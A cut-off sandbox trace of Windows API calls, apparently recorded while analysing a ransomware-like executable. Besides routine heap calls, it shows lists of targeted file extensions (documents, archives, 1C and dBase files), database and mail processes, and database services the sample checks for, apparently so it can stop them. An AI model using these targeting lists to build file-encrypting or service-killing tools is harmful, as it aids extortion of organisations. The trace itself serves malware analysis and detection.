returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b5e8 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e000 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b670 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e030 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bc68 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e018 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bb48 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b5e0 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bbd8 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b5f8 | out: hHeap=0x510000) returned 1 [0032.594] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55e018, Size=0x20) returned 0x545980 [0032.594] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545980, Size=0x40) returned 0x546ac8 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a158 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfa0 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b520 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfd0 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b560 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfb8 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a168 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfe8 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ec8 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546000 | out: hHeap=0x510000) returned 1 [0032.594] lstrlenW (lpString="%systemdrive%") returned 13 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545958 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b450 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a138 | out: hHeap=0x510000) returned 1 [0032.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x54b428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0033.491] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x59fe80, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe")) returned 0x30 [0034.018] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59fe80 | out: hHeap=0x510000) returned 1 [0034.019] lstrlenW (lpString="uyuquk.exe") returned 10 [0034.020] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560078 | out: hHeap=0x510000) returned 1 [0034.020] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x59fe80, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0034.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0688 | out: hHeap=0x510000) returned 1 [0034.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59fe80 | out: hHeap=0x510000) returned 1 [0034.021] lstrlenW (lpString="%windir%;") returned 9 [0034.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545b38 | out: hHeap=0x510000) returned 1 [0034.021] lstrlenW (lpString="C:\\Windows;") returned 11 [0034.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58d460 | out: hHeap=0x510000) returned 1 [0034.021] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0034.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560078 | out: hHeap=0x510000) returned 1 [0034.021] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x58d460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0034.021] lstrlenW (lpString="C:\\") returned 3 [0034.021] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58d460 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5640e0 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5645b8 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0110 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b670 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b00c8 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b5e8 | out: hHeap=0x510000) returned 1 [0034.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b00f8 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5644a8 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b00e0 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59e068 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0128 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59e0f8 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0140 | out: hHeap=0x510000) returned 1 [0034.024] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5640e0 [0034.024] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0140 [0034.024] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0140, Size=0x20) returned 0x545cf0 [0034.024] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545cf0, Size=0x40) returned 0x546d50 [0034.024] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0140 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a398 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0068 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59df48 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0098 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b560 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b0080 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5640c0 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b00b0 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59da10 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546200 | out: hHeap=0x510000) returned 1 [0034.024] lstrlenW (lpString="%systemdrive%") returned 13 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545cc8 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b450 | out: hHeap=0x510000) returned 1 [0034.024] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a378 | out: hHeap=0x510000) returned 1 [0034.024] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x59da10 [0034.024] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2000) returned 0x5644a8 [0034.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x57d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0034.027] WaitForMultipleObjects (nCount=0x2, lpHandles=0x547c28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x980 Thread: id = 4 os_tid = 0x98c [0032.802] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x55dfe8 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dfe8, Size=0x20) returned 0x545980 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545980, Size=0x40) returned 0x546b10 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b10, Size=0x80) returned 0x56b450 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x55bbc0 [0032.802] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x55dfe8 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dfe8, Size=0x20) returned 0x545980 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545980, Size=0x40) returned 0x546b10 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b10, Size=0x80) returned 0x56b450 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x560078 [0032.802] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55dfe8 [0032.802] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54a138 [0032.802] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x55dfb8 [0032.802] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a138, Size=0x8) returned 0x54a168 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x546020 [0032.803] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a168, Size=0x10) returned 0x55dfd0 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x546040 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x545980 [0032.803] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dfd0, Size=0x20) returned 0x5459a8 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x5459d0 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x16) returned 0x546060 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x5459f8 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55dfd0 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54a168 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x546b10 [0032.803] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a168, Size=0x8) returned 0x54a138 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x546b58 [0032.803] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a138, Size=0x10) returned 0x55dfa0 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x546080 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5460a0 [0032.803] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dfa0, Size=0x20) returned 0x545a20 [0032.803] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x547ec8 [0032.803] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0032.803] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bbc0 | out: hHeap=0x510000) returned 1 [0032.803] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0032.803] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560078 | out: hHeap=0x510000) returned 1 [0032.803] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x545ac0 [0032.804] EnumServicesStatusExW (in: hSCManager=0x545ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0032.804] GetLastError () returned 0xea [0032.804] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x5630a0 [0032.804] EnumServicesStatusExW (in: hSCManager=0x545ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5630a0, cbBufSize=0x11e4, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5630a0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0032.805] CloseServiceHandle (hSCObject=0x545ac0) returned 1 [0032.805] lstrlenW (lpString="Appinfo") returned 7 [0032.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0032.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0032.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0032.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0032.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0032.805] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0032.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0032.805] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0032.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0032.805] lstrlenW (lpString="AudioSrv") returned 8 [0032.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0032.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0032.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0032.805] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0032.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0032.805] lstrlenW (lpString="BFE") returned 3 [0032.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0032.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0032.807] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0032.807] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0032.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0032.807] lstrlenW (lpString="CryptSvc") returned 8 [0032.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0032.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0032.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0032.808] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0032.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0032.808] lstrlenW (lpString="CscService") returned 10 [0032.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0032.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0032.808] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0032.808] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0032.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0032.808] lstrlenW (lpString="DcomLaunch") returned 10 [0032.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0032.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0032.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0032.808] lstrlenW (lpString="Dhcp") returned 4 [0032.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0032.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0032.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0032.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0032.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0032.808] lstrlenW (lpString="Dnscache") returned 8 [0032.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0032.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0032.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0032.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0032.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0032.808] lstrlenW (lpString="DPS") returned 3 [0032.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0032.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0032.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0032.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0032.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0032.808] lstrlenW (lpString="eventlog") returned 8 [0032.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0032.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0032.809] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0032.809] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0032.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0032.809] lstrlenW (lpString="EventSystem") returned 11 [0032.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0032.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0032.809] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0032.809] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0032.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0032.809] lstrlenW (lpString="gpsvc") returned 5 [0032.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0032.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0032.809] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0032.809] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0032.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0032.809] lstrlenW (lpString="iphlpsvc") returned 8 [0032.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.809] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0032.809] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0032.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0032.809] lstrlenW (lpString="LanmanServer") returned 12 [0032.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0032.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0032.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0032.809] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0032.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0032.809] lstrlenW (lpString="LanmanWorkstation") returned 17 [0032.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0032.810] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0032.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0032.810] lstrlenW (lpString="lmhosts") returned 7 [0032.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0032.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0032.810] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0032.810] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0032.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0032.810] lstrlenW (lpString="MMCSS") returned 5 [0032.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0032.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0032.810] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0032.810] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0032.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0032.810] lstrlenW (lpString="MpsSvc") returned 6 [0032.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0032.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0032.810] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0032.810] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0032.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0032.810] lstrlenW (lpString="Netman") returned 6 [0032.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0032.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0032.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0032.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0032.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0032.810] lstrlenW (lpString="netprofm") returned 8 [0032.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0032.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0032.810] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0032.810] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0032.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0032.810] lstrlenW (lpString="NlaSvc") returned 6 [0032.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0032.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0032.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0032.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0032.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0032.811] lstrlenW (lpString="nsi") returned 3 [0032.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0032.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0032.811] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0032.811] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0032.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0032.811] lstrlenW (lpString="PcaSvc") returned 6 [0032.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0032.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0032.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0032.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0032.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0032.811] lstrlenW (lpString="PlugPlay") returned 8 [0032.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0032.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0032.811] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0032.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0032.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0032.811] lstrlenW (lpString="Power") returned 5 [0032.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0032.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0032.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0032.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0032.811] lstrcmpiW 